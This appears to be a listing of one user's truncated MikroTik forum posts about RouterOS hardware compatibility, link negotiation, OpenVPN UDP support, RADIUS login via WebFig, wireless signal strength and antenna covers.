Re: RB2011UAS-RM - auto negotiation problem

OK,i've tried 493G vs 411AH
to auto only on 411AH side and 100FDX on 493G side - no success
i've also tested 100FDX fixed on both side, no success.
what is even stranger: 411AH shows link, while, 493G not shows link.

Re: RouterOS on HP Microserver N40L with RB44Ge

vadyalex: no, not yet. I'm going to test a PCI-E addon nic (some other than RB44Ge, like HP NC112 or Intel NIC) but for that, i'm going to have another box with RouterOS installed. What is a shame: Routerboard hardwares are not documented, which is the minimal RouterOS version to run them. (like for...

RouterOS on HP Microserver N40L with RB44Ge

Hello, I've just installed the above PC as a small router (10-50mbps). Sadly, it's periodically restarting (rebooting without proper shutdown) - but without leaving supout. Currently it's running ROS 5.21 I'm afraid of downgrading 5.18 (i don't know if it's supporting the RB44Ge - and it's not docum...

Re: Ros V5 beta new intel drivers

Using beta version is not recommend in our company policy In that case, you have to forgot using mikrotik i think. In many cases, the new version is wrong than the previous ones. The changes are not well documented, so maybe you can think, the changes in the changelog does not counts in your side -...

Re: Feature Request: OpenVPN [ovpn] udp tunnels

to come here by different way - why do we request to ADD UDP support and LZO comp as feature? OpenVPN package - as it comes in source - support both above (and many others). So I'm asking, why they got removed ??? I'm interested if Mikrotik's implementation based on original OpenVPN package, or they...

Re: ArpWatch Support

arpwatch logs IP-MAC pairs changes, and don't care of port changes. The Port/Mac address pairing is bridge related. I bet you don't want to be notified about every new MAC's in the bridge tables. Also keep in mind, ARP cache is 5min (by default), that means, if the device is not active, it will disa...

Radius Auth via WebFig

Dear Mikrotik, we are using Radius Auth for mikrotik login management. Sadly, since webfig exist, we have mentioned many times, this is NOT working with webfig, BUT EVERY OTHER method = yes! (that means, ftp,telnet,ssh,winbox supported, webfig even NOT do radius auth) Can we expect to do this, or sh...

Re: OmniTik signal strength

Thanks, i'm going to test with the page.

By the way, may i ask for some templates (of Mikrotik own devices) to be selected in this page? It would be really useful!

OmniTik signal strength

Hello, We have installed an OmniTik onto a top of a 40meter radio tower. Sadly, we cannot connect to it with our standard client device (19dB antenna, R52, RB411) from the next village (few kilometers). The installers tried to connect from a visibles distance from the road (~1-1.5km) and they found ...

Re: Small Web Server on RouterOS, please.

probably yes, it possible. However, I think this violates the software usage (modifying the storage in unwanted way), and i don't think its possible on already installed CPE - remotely. i would welcome a solution, if i create a folder on the ROS device like "public" it would be accessible via http l...

Re: Small Web Server on RouterOS, please.

3) Agree - if you go for security, you should disable everything than enable what's needed.

However, if you need to display a webpage, a very basic httpd (preferably one-way only) would do the job.

RIC antenna cover

Hello Mikrotik and Forum Users! I have a lot of RIC units - and many of them getting to old - that means the plastik on the front is going to broke. I'm interested if Mikrotik (or any other) did manufactured a replacement cover for that unit. I think, many other customer would use this unit replacin...
